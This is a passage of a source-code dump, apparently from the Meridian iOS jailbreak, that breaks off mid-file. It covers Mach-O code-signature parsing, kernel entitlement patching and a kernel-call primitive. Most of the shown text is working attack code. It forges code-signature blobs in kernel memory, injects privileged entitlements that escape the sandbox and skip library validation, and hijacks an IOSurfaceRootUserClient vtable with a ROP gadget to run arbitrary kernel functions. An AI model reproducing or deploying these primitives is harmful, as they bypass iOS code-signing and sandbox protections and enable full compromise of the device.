    "content": "#include \"cs_dingling.h\"\n#include <sys/mman.h>\n#include <spawn.h>\n#include <sys/stat.h>\n#include <mach-o/loader.h>\n#import <Foundation/Foundation.h>\n#import <CommonCrypto/CommonDigest.h>\n\n// Finds the LC_CODE_SIGNATURE load command\nconst void *find_code_signature(img_info_t *info, uint32_t *cs_size) {\n#define _LOG_ERROR(str, args...) ERROR(\"(%s) \" str, info->name, ##args)\n    if (info == NULL || info->addr == NULL) {\n        return NULL;\n    }\n    \n    // mach_header_64 is mach_header + reserved for padding\n    const struct mach_header *mh = (const struct mach_header*)info->addr;\n    \n    uint32_t sizeofmh = 0;\n    \n    switch (mh->magic) {\n        case MH_MAGIC_64:\n            sizeofmh = sizeof(struct mach_header_64);\n            break;\n        case MH_MAGIC:\n            sizeofmh = sizeof(struct mach_header);\n            break;\n        default:\n            _LOG_ERROR(\"your magic is not valid in these lands: %08x\", mh->magic);\n            return NULL;\n    }\n    \n    if (mh->sizeofcmds < mh->ncmds * sizeof(struct load_command)) {\n        _LOG_ERROR(\"Corrupted macho (sizeofcmds < ncmds * sizeof(lc))\");\n        return NULL;\n    }\n    if (mh->sizeofcmds + sizeofmh > info->size) {\n        _LOG_ERROR(\"Corrupted macho (sizeofcmds + sizeof(mh) > size)\");\n        return NULL;\n    }\n    \n    const struct load_command *cmd = (const struct load_command *)((uintptr_t) info->addr + sizeofmh);\n    for (int i = 0; i != mh->ncmds; ++i) {\n        if (cmd->cmd == LC_CODE_SIGNATURE) {\n            const struct linkedit_data_command* cscmd = (const struct linkedit_data_command*)cmd;\n            if (cscmd->dataoff + cscmd->datasize > info->size) {\n                _LOG_ERROR(\"Corrupted LC_CODE_SIGNATURE: dataoff + datasize > fsize\");\n                return NULL;\n            }\n            \n            if (cs_size) {\n                *cs_size = cscmd->datasize;\n            }\n            \n            return (const uint8_t*)((uintptr_t)info->addr + cscmd->dataoff);\n        }\n        \n        cmd = (const struct load_command *)((uintptr_t)cmd + cmd->cmdsize);\n        if ((uintptr_t)cmd + sizeof(struct load_command) > (uintptr_t)info->addr + info->size) {\n            _LOG_ERROR(\"Corrupted macho: Unexpected end of file while parsing load commands\");\n            return NULL;\n        }\n    }\n    \n    _LOG_ERROR(\"Didnt find the code signature\");\n    return NULL;\n#undef _LOG_ERROR\n}\n\n#define BLOB_FITS(blob, size) ((size >= sizeof(*blob)) && (size >= ntohl(blob->length)))\n\n// xnu-3789.70.16/bsd/kern/ubc_subr.c#470\nint find_best_codedir(const void *csblob,\n                      uint32_t blob_size,\n                      const CS_CodeDirectory **chosen_cd,\n                      uint32_t *csb_offset,\n                      const CS_GenericBlob **entitlements) {\n    *chosen_cd = NULL;\n    *entitlements = NULL;\n    \n    const CS_GenericBlob *blob = (const CS_GenericBlob *)csblob;\n    \n    if (!BLOB_FITS(blob, blob_size)) {\n        ERROR(\"csblob too small even for generic blob\");\n        return 1;\n    }\n    \n    uint32_t length = ntohl(blob->length);\n    \n    if (ntohl(blob->magic) == CSMAGIC_EMBEDDED_SIGNATURE) {\n        const CS_CodeDirectory *best_cd = NULL;\n        int best_rank = 0;\n        \n        const CS_SuperBlob *sb = (const CS_SuperBlob *)csblob;\n        uint32_t count = ntohl(sb->count);\n        \n        if (!BLOB_FITS(sb, blob_size)) {\n            ERROR(\"csblob too small for superblob\");\n            return 1;\n        }\n        \n        for (int n = 0; n < count; n++){\n            const CS_BlobIndex *blobIndex = &sb->index[n];\n            \n            uint32_t type = ntohl(blobIndex->type);\n            uint32_t offset = ntohl(blobIndex->offset);\n            \n            if (length < offset) {\n                ERROR(\"offset of blob #%d overflows superblob length\", n);\n                return 1;\n            }\n            \n            const CS_GenericBlob *subBlob = (const CS_GenericBlob *)((uintptr_t)csblob + offset);\n            \n            size_t subLength = ntohl(subBlob->length);\n            \n            if (type == CSSLOT_CODEDIRECTORY || (type >= CSSLOT_ALTERNATE_CODEDIRECTORIES && type < CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT)) {\n                const CS_CodeDirectory *candidate = (const CS_CodeDirectory *)subBlob;\n                \n                unsigned int rank = hash_rank(candidate);\n                \n                // Apple's code: `rank > best_rank` (kind of obvious, right?)\n                // So why is it I have to switch it to get it to work?\n                // macos-10.12.6-sierra/xnu-3789.70.16/bsd/kern/ubc_subr.c#534\n                if (best_cd == NULL || rank < best_rank) {\n                    best_cd = candidate;\n                    best_rank = rank;\n                    \n                    *chosen_cd = best_cd;\n                    *csb_offset = offset;\n                }\n            } else if (type == CSSLOT_ENTITLEMENTS) {\n                *entitlements = subBlob;\n            }\n        }\n    } else if (ntohl(blob->magic) == CSMAGIC_CODEDIRECTORY) {\n        *chosen_cd = (const CS_CodeDirectory *)blob;\n        *csb_offset = 0;\n    } else {\n        ERROR(\"Unknown magic at csblob start: %08x\", ntohl(blob->magic));\n        return 1;\n    }\n    \n    if (chosen_cd == NULL) {\n        ERROR(\"didn't find codedirectory to hash\");\n        return 1;\n    }\n    \n    return 0;\n}\n\n// xnu-3789.70.16/bsd/kern/ubc_subr.c#231\nstatic unsigned int hash_rank(const CS_CodeDirectory *cd) {\n    uint32_t type = cd->hashType;\n    \n    for (unsigned int n = 0; n < sizeof(hashPriorities) / sizeof(hashPriorities[0]); ++n) {\n        if (hashPriorities[n] == type) {\n            return n + 1;\n        }\n    }\n    \n    return 0;\n}\n\nint hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]) {\n    uint32_t realsize = ntohl(directory->length);\n    \n    if (ntohl(directory->magic) != CSMAGIC_CODEDIRECTORY) {\n        ERROR(\"expected CSMAGIC_CODEDIRECTORY\");\n        return 1;\n    }\n    \n    uint8_t out[CS_HASH_MAX_SIZE];\n    uint8_t hash_type = directory->hashType;\n    \n    switch (hash_type) {\n        case CS_HASHTYPE_SHA1:\n            CC_SHA1(directory, realsize, out);\n            break;\n            \n        case CS_HASHTYPE_SHA256:\n        case CS_HASHTYPE_SHA256_TRUNCATED:\n            CC_SHA256(directory, realsize, out);\n            break;\n            \n        case CS_HASHTYPE_SHA384:\n            CC_SHA384(directory, realsize, out);\n            break;\n            \n        default:\n            INFO(\"Unknown hash type: 0x%x\", hash_type);\n            return 2;\n    }\n    \n    memcpy(hash, out, CS_CDHASH_LEN);\n    return 0;\n}\n\nconst char *get_hash_name(uint8_t hash_type) {\n    switch (hash_type) {\n        case CS_HASHTYPE_SHA1:\n            return \"SHA1\";\n        \n        case CS_HASHTYPE_SHA256:\n        case CS_HASHTYPE_SHA256_TRUNCATED:\n            return \"SHA256\";\n            \n        case CS_HASHTYPE_SHA384:\n            return \"SHA384\";\n            \n        default:\n            return \"UNKNWON\";\n    }\n    \n    return \"\";\n}\n\nint open_img(img_info_t* info) {\n#define _LOG_ERROR(str, args...) ERROR(\"(%s) \" str, info->name, ##args)\n    int ret = -1;\n    \n    if (info == NULL) {\n        INFO(\"img info is NULL\");\n        return ret;\n    }\n    \n    info->fd = -1;\n    info->size = 0;\n    info->addr = NULL;\n    \n    info->fd = open(info->name, O_RDONLY);\n    if (info->fd == -1) {\n        _LOG_ERROR(\"Couldn't open file\");\n        ret = 1;\n        goto out;\n    }\n    \n    struct stat s;\n    if (fstat(info->fd, &s) != 0) {\n        _LOG_ERROR(\"fstat: 0x%x (%s)\", errno, strerror(errno));\n        ret = 2;\n        goto out;\n    }\n    \n    size_t fsize = s.st_size;\n    info->size = fsize - info->file_off;\n    const void *map = mmap(NULL, fsize, PROT_READ, MAP_PRIVATE, info->fd, 0);\n    \n    if (map == MAP_FAILED) {\n        _LOG_ERROR(\"mmap: 0x%x (%s)\", errno, strerror(errno));\n        ret = 4;\n        goto out;\n    }\n    \n    info->addr = (const void*) ((uintptr_t) map + info->file_off);\n    ret = 0;\n    \n    out:;\n    if (ret) {\n        close_img(info);\n    }\n    return ret;\n    \n#undef _LOG_ERROR\n}\n\nvoid close_img(img_info_t* info) {\n    if (info == NULL) {\n        return;\n    }\n    \n    if (info->addr != NULL) {\n        const void *map = (void*) ((uintptr_t) info->addr - info->file_off);\n        size_t fsize = info->size + info->file_off;\n        \n        munmap((void*)map, fsize);\n    }\n    \n    if (info->fd != -1) {\n        close(info->fd);\n    }\n}\n"
  },
  {
    "path": "Meridian/amfid/ent_patching.h",
    "content": "#include \"cs_dingling.h\"\n\nint fixup_platform_application(const char *path,\n                               uint64_t macho_offset,\n                               const void *blob,\n                               uint32_t cs_length,\n                               uint8_t cd_hash[20],\n                               uint32_t csdir_offset,\n                               const CS_GenericBlob *entitlements);\n"
  },
  {
    "path": "Meridian/amfid/ent_patching.m",
    "content": "#include <stdlib.h>\n#include <stddef.h>\n#include <Foundation/Foundation.h>\n#include \"cs_dingling.h\"\n#include \"kexecute.h\"\n#include \"kmem.h\"\n#include \"osobject.h\"\n#include \"ubc_headers.h\"\n#include \"kern_utils.h\"\n\n// You don't wanna know why this exists :-)\nint added_offset = -1;\n\n// Default entitlements to be granted\nconst char *default_ents =  \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\"\n                            \"<!DOCTYPE plist PUBLIC \\\"-//Apple//DTD PLIST 1.0//EN\\\" \\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\">\"\n                            \"<plist version=\\\"1.0\\\">\"\n                                \"<dict>\"\n                                    \"<key>platform-application</key>\"                         // escape container restriction\n                                    \"<true/>\"\n                                    \"<key>com.apple.private.security.no-container</key>\"      // no container\n                                    \"<true/>\"\n                                    \"<key>get-task-allow</key>\"                               // task_for_pid\n                                    \"<true/>\"\n                                    \"<key>com.apple.private.skip-library-validation</key>\"    // allow invalid libs\n                                    \"<true/>\"\n                                \"</dict>\"\n                            \"</plist>\";\n\nuint64_t get_vfs_context() {\n    // vfs_context_t vfs_context_current(void)\n    uint64_t vfs_context = kexecute(offset_vfs_context_current, 1, 0, 0, 0, 0, 0, 0);\n    vfs_context = zm_fix_addr(vfs_context);\n    return vfs_context;\n}\n\nint get_vnode_fromfd(uint64_t vfs_context, int fd, uint64_t *vpp) {\n    uint64_t vnode = kalloc(sizeof(vnode_t *));\n    \n    // int vnode_getfromfd(vfs_context_t cfx, int fd, vnode_t vpp)\n    int ret = kexecute(offset_vnode_getfromfd, vfs_context, fd, vnode, 0, 0, 0, 0);\n    \n    *vpp = rk64(vnode);\n    kfree(vnode, sizeof(vnode_t *));\n    \n    return ret;\n}\n\nint vnode_put(uint64_t vnode) {\n    return kexecute(offset_vnode_put, vnode, 0, 0, 0, 0, 0, 0);\n}\n\nint calculate_added_offset(uint64_t vnode) {\n    int32_t possibly_iocount = rk32(vnode + offsetof(struct vnode, v_iocount));\n    NSLog(@\"possibly_iocount value: %d\", possibly_iocount);\n    \n    // Since we've just called vnode_getfromfd, the iocount of this vnode cannot\n    // be 0. It also cannot be a negative number, as this would be an invalid\n    // iocount. However, if this is the case, we are actually looking at the\n    // v_owner field due to mismatched offsets, dictating that this device is\n    // running an older version of xnu with an 8 byte smaller vnode struct.\n    return (possibly_iocount <= 0) ? -8 : 0;\n}\n\nint check_vtype(uint64_t vnode) {\n    /*\n         struct vnode { // `vnode`\n            ...\n            uint16_t `v_type`;\n     */\n    uint16_t v_type = rk16(vnode + offsetof(struct vnode, v_type) + added_offset);\n    \n    if (v_type != VREG) {\n        NSLog(@\"got weird vtype for vnode (0x%llx): %d\", vnode, v_type);\n        return 1;\n    }\n    \n    return 0;\n}\n\nuint64_t get_vu_ubcinfo(uint64_t vnode) {\n    /*\n         struct vnode { // `vnode`\n            ...\n            union {\n                struct ubc_info *vu_ubcinfo;\n            } v_un;\n     */\n    return rk64(vnode + offsetof(struct vnode, v_un) + added_offset);\n}\n\nuint64_t get_csblobs(uint64_t vu_ubcinfo) {\n    /*\n         struct ubc_info { // `vu_ubcinfo`\n            ....\n            struct cs_blob *cs_blobs;\n     */\n    return rk64(vu_ubcinfo + offsetof(struct ubc_info, cs_blobs));\n}\n\nvoid csblob_ent_dict_set(uint64_t cs_blobs, uint64_t dict) {\n    // void csblob_entitlements_dictionary_set(struct cs_blob *csblob, void *entitlements)\n    kexecute(offset_csblob_ent_dict_set, cs_blobs, dict, 0, 0, 0, 0, 0);\n}\n\nvoid csblob_update_csflags(uint64_t cs_blobs, uint32_t flags_to_add) {\n    /*\n         struct cs_blob {\n            ...\n            unsigned int    csb_flags;\n     */\n    \n    uint32_t csflags = rk32(cs_blobs + offsetof(struct cs_blob, csb_flags));\n    \n    csflags |= flags_to_add;\n    \n    wk32(cs_blobs + offsetof(struct cs_blob, csb_flags), csflags);\n}\n\nint set_memory_object_code_signed(uint64_t vu_ubcinfo) {\n    uint64_t ui_control = rk64(vu_ubcinfo + offsetof(struct ubc_info, ui_control));\n    if (ui_control == 0) {\n        NSLog(@\"failed to get ui_control\");\n        return 1;\n    }\n    \n    uint64_t moc_object = rk64(ui_control + 0x8); // offsetof(struct memory_object_control, moc_object)\n    if (moc_object == 0) {\n        NSLog(@\"failed to get moc_object\");\n        return 1;\n    }\n    \n    uint64_t code_signed_addr = moc_object + 0xb8;\n    \n    uint32_t curr_code_signed = rk32(code_signed_addr);\n    \n    // `code_signed` is only 1 bit\n    curr_code_signed |= 0x100;\n    wk32(code_signed_addr, curr_code_signed);\n    \n    return 0;\n}\n\nuint64_t cs_hash_ptr = 0;\nuint64_t find_csb_hashtype(uint32_t hashType) {\n    // We're keeping hold of this just incase the patchfind for `cs_find_md` fails\n    if (cs_hash_ptr == 0) {\n        const struct cs_hash hash = {\n            .cs_type = CS_HASHTYPE_SHA1,\n            .cs_size = CS_SHA1_LEN,\n            .cs_init = offset_sha1_init,\n            .cs_update = offset_sha1_update,\n            .cs_final = offset_sha1_final\n        };\n        cs_hash_ptr = kalloc(sizeof(hash));\n        if (cs_hash_ptr != 0) {\n            kwrite(cs_hash_ptr, &hash, sizeof(hash));\n        } else {\n            NSLog(@\"failed to kalloc %lu bytes! (find_csb_hashtype)\", sizeof(hash));\n        }\n    }\n    \n    if (offset_cs_find_md == 0) {\n        // Dammit :( If the hash isn't SHA1 it now won't run,\n        // but if we return 0 it will just KP. I'd rather a Killed: 9\n        NSLog(@\"FATAL ERROR! Unable to find 'cs_find_md'!!\");\n        return cs_hash_ptr;\n    }\n    \n    return rk64(offset_cs_find_md + ((hashType - 1) * 0x8));\n}\n\nuint64_t construct_cs_blob(const void *cs,\n                       uint32_t cs_length,\n                       uint8_t cd_hash[CS_CDHASH_LEN],\n                       uint32_t chosen_off,\n                       uint64_t macho_offset) {\n    uint64_t entire_csdir = kalloc(cs_length);\n    if (entire_csdir == 0) {\n        NSLog(@\"error!! failed to kalloc %d bytes!! (construct_cs_blob)\", cs_length);\n        return 0;\n    }\n    kwrite(entire_csdir, cs, cs_length);\n    \n    const CS_CodeDirectory *blob = (const CS_CodeDirectory *)((uintptr_t)cs + chosen_off);\n    \n    struct cs_blob *cs_blob = malloc(sizeof(struct cs_blob));\n    bzero(cs_blob, sizeof(struct cs_blob));\n    \n    cs_blob->csb_next = 0;\n    cs_blob->csb_cpu_type = -1;\n    \n    cs_blob->csb_flags = (ntohl(blob->flags) & CS_ALLOWED_MACHO) | CS_VALID | CS_SIGNED;\n    \n    cs_blob->csb_base_offset = macho_offset;\n    cs_blob->csb_start_offset = 0;\n    \n    if (ntohl(blob->version) >= CS_SUPPORTSSCATTER && ntohl(blob->scatterOffset) != 0) {\n        const SC_Scatter *scatter = (const SC_Scatter *)((const char *)blob + ntohl(blob->scatterOffset));\n        cs_blob->csb_start_offset = ((off_t)ntohl(scatter->base)) * (1U << blob->pageSize);\n    }\n    \n    cs_blob->csb_mem_size = cs_length;\n    cs_blob->csb_mem_offset = 0;\n    cs_blob->csb_mem_kaddr = entire_csdir;\n    \n    memcpy(cs_blob->csb_cdhash, cd_hash, CS_CDHASH_LEN);\n    \n    uint64_t csb_hashtype = find_csb_hashtype(blob->hashType);\n    if (csb_hashtype == 0) {\n        NSLog(@\"failed to get csb_hashtype!! (construct_cs_blob)\");\n        return 0;\n    }\n    cs_blob->csb_hashtype = (const struct cs_hash *)csb_hashtype;\n    \n    cs_blob->csb_hash_pagesize = (1U << blob->pageSize);\n    cs_blob->csb_hash_pagemask = (1U << blob->pageSize) - 1;\n    cs_blob->csb_hash_pageshift = blob->pageSize;\n    \n    cs_blob->csb_end_offset = ntohl(blob->codeLimit) + cs_blob->csb_hash_pagemask & ~cs_blob->csb_hash_pagemask;\n    \n    cs_blob->csb_hash_firstlevel_pagesize = 0;\n    cs_blob->csb_cd = (const CS_CodeDirectory *)(entire_csdir + chosen_off);\n    \n    if (cs_blob->csb_flags & CS_PLATFORM_BINARY) {\n        cs_blob->csb_platform_binary = 1;\n        cs_blob->csb_platform_path = !!(cs_blob->csb_flags & CS_PLATFORM_PATH);\n    } else if ((ntohl(blob->version) >= CS_SUPPORTSTEAMID) &&\n               (blob->teamOffset > 0)) {\n        const char *name = ((const char *)blob) + ntohl(blob->teamOffset);\n        int length = strlen(name) + 1;\n        \n        uint64_t teamid_addr = kalloc(length);\n        \n        if (teamid_addr == 0) {\n            NSLog(@\"failed to kalloc %d bytes!! (construct_cs_blob)\", length);\n            return 0;\n        }\n        \n        kwrite(teamid_addr, name, length);\n        cs_blob->csb_teamid = (const char *)teamid_addr;\n    }\n    \n    uint64_t kernel_blob = kalloc(sizeof(struct cs_blob));\n    kwrite(kernel_blob, cs_blob, sizeof(struct cs_blob));\n    \n    free(cs_blob);\n    \n    return kernel_blob;\n}\n\nuint64_t fresh_entitlements_blob = 0;\nuint64_t get_fresh_entitlements_blob() {\n    if (fresh_entitlements_blob == 0) {\n        int size = 8 + strlen(default_ents);\n        CS_GenericBlob *entitlements_blob = (CS_GenericBlob *)malloc(size);\n        bzero(entitlements_blob, size);\n        \n        entitlements_blob->magic = CSMAGIC_EMBEDDED_ENTITLEMENTS;\n        entitlements_blob->length = size;\n        strncpy(entitlements_blob->data, default_ents, strlen(default_ents) + 1);\n        \n        // Copy the data into kernel\n        uint64_t fresh_entitlements_blob = kalloc(size);\n        if (fresh_entitlements_blob == 0) {\n            NSLog(@\"failed to allocate %d bytes!! in ent_patching\", size);\n            return -1;\n        }\n        \n        kwrite(fresh_entitlements_blob, entitlements_blob, size);\n        free(entitlements_blob);\n    }\n    \n    return fresh_entitlements_blob;\n}\n\nint fixup_platform_application(const char *path,\n                               uint64_t macho_offset,\n                               const void *blob,\n                               uint32_t cs_length,\n                               uint8_t cd_hash[20],\n                               uint32_t csdir_offset,\n                               const CS_GenericBlob *entitlements) {\n    int ret;\n    \n    uint64_t vfs_context = get_vfs_context();\n    if (vfs_context == 0) {\n        return -1;\n    }\n    \n    int fd = open(path, O_RDONLY);\n    if (fd < 0) {\n        return -2;\n    }\n    \n    uint64_t vnode = 0;\n    ret = get_vnode_fromfd(vfs_context, fd, &vnode);\n    \n    if (ret   != 0) return -3;\n    if (vnode == 0) return -4;\n    \n    if (added_offset == -1) {\n        added_offset = calculate_added_offset(vnode);\n        NSLog(@\"added_offset was set to: %d\", added_offset);\n    }\n    \n    ret = check_vtype(vnode);\n    if (ret != 0) {\n        return -5;\n    }\n    \n    uint64_t vu_ubcinfo = get_vu_ubcinfo(vnode);\n    if (vu_ubcinfo == 0) {\n        return -6;\n    }\n    \n    bool is_new_cs_blob = false;\n    uint64_t cs_blobs = get_csblobs(vu_ubcinfo);\n    if (cs_blobs == 0) {\n        is_new_cs_blob = true;\n        cs_blobs = construct_cs_blob(blob,\n                                     cs_length,\n                                     cd_hash,\n                                     csdir_offset,\n                                     macho_offset);\n        if (cs_blobs == 0) {\n            NSLog(@\"failed to construct csblob\");\n            return -7;\n        }\n        \n        wk64(vu_ubcinfo + offsetof(struct ubc_info, cs_blobs), cs_blobs);\n    }\n    \n    if (entitlements == NULL) {\n        // generate some new entitlements\n        // this is all we're here to do, really :-)\n        uint64_t dict = OSUnserializeXML(default_ents);\n        if (dict == 0) {\n            NSLog(@\"failed to call OSUnserializeXML in ent_patching!!\");\n            return -8;\n        }\n        \n        csblob_ent_dict_set(cs_blobs, dict);\n        csblob_update_csflags(dict, CS_GET_TASK_ALLOW);\n        \n        // Update csb_entitlements_blob with a blob based on `default_ents`\n        wk64(cs_blobs + offsetof(struct cs_blob, csb_entitlements_blob), get_fresh_entitlements_blob());\n    } else {\n        // there are some entitlements, let's parse them, update the osdict w/\n        // platform-application (true), and write them into kern\n        uint64_t dict = OSUnserializeXML(entitlements->data);\n\n        // gotta check for get-task-allow as it sets another csflag\n        // remember: csflags have to be *perfect* otherwise the trick won't work\n        // the reason this is *before* we add it manually is because the kernel won't\n        // know about the manually added entitlement, and therefore this flag won't be set\n        // (assuming it wasn't already in the existing entitlements)\n        ret = OSDictionary_GetItem(dict, \"get-task-allow\");\n        if (ret) csblob_update_csflags(cs_blobs, CS_GET_TASK_ALLOW);\n        \n        OSDictionary_SetItem(dict, \"platform-application\",                      offset_osboolean_true);\n        OSDictionary_SetItem(dict, \"com.apple.private.security.no-container\",   offset_osboolean_true);\n        OSDictionary_SetItem(dict, \"get-task-allow\",                            offset_osboolean_true);\n        OSDictionary_SetItem(dict, \"com.apple.private.skip-library-validation\", offset_osboolean_true);\n        \n        csblob_ent_dict_set(cs_blobs, dict);\n        \n        // map the genblob up to csb_entitlements_blob\n        // idk if we necessarily need to do this but w/e\n        // TODO: fix this so it uses the *new* entitlements, not the original ones (duh)\n        // Note to self: this field seems to be checked in the case of things like uicache, which requires\n        // the 'com.apple.lsapplicationworkspace.rebuildappdatabases' entitlement. I suspect this field is\n        // designed to be 'userland-viewable'\n        int size = ntohl(entitlements->length);\n        uint64_t entptr = kalloc(size);\n        if (entptr == 0) {\n            NSLog(@\"failed to allocate %d bytes!! in ent_patching\", size);\n            return -9;\n        }\n        \n        kwrite(entptr, entitlements, size);\n        wk64(cs_blobs + offsetof(struct cs_blob, csb_entitlements_blob), entptr);\n    }\n    \n    if (is_new_cs_blob) {\n        // memory_object_signed\n        // uip->ui_control->moc_object->code_signed = 1\n        ret = set_memory_object_code_signed(vu_ubcinfo);\n        if (ret != 0) {\n            return -10;\n        }\n        \n        // TODO: Update global cs_* vars\n        \n        // disabled for now... causes panics on 2nd run of the binary\n        // something to do with a mutex lock.. i don't care to figure out what\n        // set generation count\n//        wk64(vu_ubcinfo + offsetof(struct ubc_info, cs_add_gen), 1);\n//        NSLog(@\"cs_add_gen: %llx\", rk64(vu_ubcinfo + offsetof(struct ubc_info, cs_add_gen)));\n        \n        // Update the cs_mtime field in ubc_info struct\n        uint64_t vnode_attr = kalloc(sizeof(struct vnode_attr));\n        wk64(vnode_attr + offsetof(struct vnode_attr, va_active), 1LL << 14);\n        \n        // int vnode_getattr(vnode_t vp, struct vnode_attr *vap, vfs_context_t ctx)\n        ret = kexecute(offset_vnode_getattr, vnode, vnode_attr, vfs_context, 0, 0, 0, 0);\n        if (ret != 0) {\n            NSLog(@\"vnode_attr failed - ret value: %d\", ret);\n        } else {\n            uint64_t mtime = rk64(vnode_attr + offsetof(struct vnode_attr, va_modify_time));\n            if (mtime != 0) {\n                wk64(vu_ubcinfo + offsetof(struct ubc_info, cs_mtime), mtime);\n            }\n        }\n    }\n    \n//    ret = vnode_put(vnode);\n//    if (ret != 0) {\n//        NSLog(@\"failed vnode_put(%llx)! ret: %d\", vnode, ret);\n//        return -11;\n//    }\n    \n    close(fd);\n    \n    return 0;\n}\n"
  },
  {
    "path": "Meridian/amfid/helpers/kexecute.h",
    "content": "#include <mach/mach.h>\n#include <inttypes.h>\n\nmach_port_t prepare_user_client(void);\nvoid init_kexecute(void);\nvoid term_kexecute(void);\nuint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);\n"
  },
  {
    "path": "Meridian/amfid/helpers/kexecute.m",
    "content": "#include <pthread.h>\n#include <Foundation/Foundation.h>\n#include \"kmem.h\"\n#include \"kexecute.h\"\n#include \"kern_utils.h\"\n#include \"offsetof.h\"\n\nmach_port_t prepare_user_client(void) {\n    kern_return_t err;\n    mach_port_t user_client;\n    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(\"IOSurfaceRoot\"));\n    if (service == IO_OBJECT_NULL){\n        printf(\" [-] unable to find service\\n\");\n        exit(EXIT_FAILURE);\n    }\n    \n    err = IOServiceOpen(service, mach_task_self(), 0, &user_client);\n    if (err != KERN_SUCCESS){\n        printf(\" [-] unable to get user client connection\\n\");\n        exit(EXIT_FAILURE);\n    }\n    \n    printf(\"got user client: 0x%x\\n\", user_client);\n    return user_client;\n}\n\npthread_mutex_t kexecute_lock;\nstatic mach_port_t user_client;\nstatic uint64_t IOSurfaceRootUserClient_port;\nstatic uint64_t IOSurfaceRootUserClient_addr;\nstatic uint64_t fake_vtable;\nstatic uint64_t fake_client;\nconst int fake_kalloc_size = 0x1000;\n\nvoid init_kexecute(void) {\n    user_client = prepare_user_client();\n    \n    // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable\n    IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address\n    if (IOSurfaceRootUserClient_port <= 0) {\n        NSLog(@\"error calling find_port whilst initializing kexecute!\");\n        return;\n    }\n    \n    IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field\n    \n    uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object\n    \n    // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one\n    // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel\n    \n    // Create the vtable in the kernel memory, then copy the existing vtable into there\n    fake_vtable = kalloc(fake_kalloc_size);\n    \n    for (int i = 0; i < 0x200; i++) {\n        wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));\n    }\n    \n    // Create the fake user client\n    fake_client = kalloc(fake_kalloc_size);\n    \n    for (int i = 0; i < 0x200; i++) {\n        wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));\n    }\n    \n    // Write our fake vtable into the fake user client\n    wk64(fake_client, fake_vtable);\n    \n    // Replace the user client with ours\n    wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);\n    \n    // Now the userclient port we have will look into our fake user client rather than the old one\n    \n    // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)\n    wk64(fake_vtable+8*0xB7, offset_add_x0_x0_0x40_ret);\n    \n    pthread_mutex_init(&kexecute_lock, NULL);\n}\n\nvoid term_kexecute(void) {\n    wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);\n    kfree(fake_vtable, fake_kalloc_size);\n    kfree(fake_client, fake_kalloc_size);\n}\n\nuint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {\n    pthread_mutex_lock(&kexecute_lock);\n    \n    // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex\n    // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.\n    // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the\n    // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed\n    // through like normal.\n    \n    // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it\n    // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents\n    // (i'm not actually sure if the switch back is necessary but meh)\n    \n    uint64_t offx20 = rk64(fake_client+0x40);\n    uint64_t offx28 = rk64(fake_client+0x48);\n    wk64(fake_client+0x40, x0);\n    wk64(fake_client+0x48, addr);\n    uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));\n    wk64(fake_client+0x40, offx20);\n    wk64(fake_client+0x48, offx28);\n    \n    pthread_mutex_unlock(&kexecute_lock);\n    \n    return returnval;\n}\n"
  },
  {
    "path": "Meridian/amfid/helpers/kmem.c",
    "content": "#import \"kern_utils.h\"\n#import \"kmem.h\"\n\n#define MAX_CHUNK_SIZE 0xFFF\n\nvoid remote_read_overwrite(mach_port_t task_port,\n                           uint64_t remote_address,\n                           uint64_t local_address,\n                           uint64_t length) {\n    kern_return_t err;\n    \n    mach_vm_size_t outsize = 0;\n    err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize);\n    if (err != KERN_SUCCESS){\n        return;\n    }\n    \n    if (outsize != length){\n        return;\n    }\n}\n\nvoid remote_write(mach_port_t remote_task_port,\n                  uint64_t remote_address,\n                  uint64_t local_address,\n                  uint64_t length) {\n    kern_return_t err = mach_vm_write(remote_task_port,\n                                      (mach_vm_address_t)remote_address,\n                                      (vm_offset_t)local_address,\n                                      (mach_msg_type_number_t)length);\n    if (err != KERN_SUCCESS) {\n        return;\n    }\n}\n\nuint64_t binary_load_address() {\n    kern_return_t err;\n    mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64;\n    memory_object_name_t object_name = MACH_PORT_NULL;\n    mach_vm_size_t target_first_size = 0x1000;\n    mach_vm_address_t target_first_addr = 0x0;\n    struct vm_region_basic_info_64 region = {0};\n    err = mach_vm_region(mach_task_self(), &target_first_addr, &target_first_size, VM_REGION_BASIC_INFO_64, (vm_region_info_t)&region, &region_count, &object_name);\n    \n  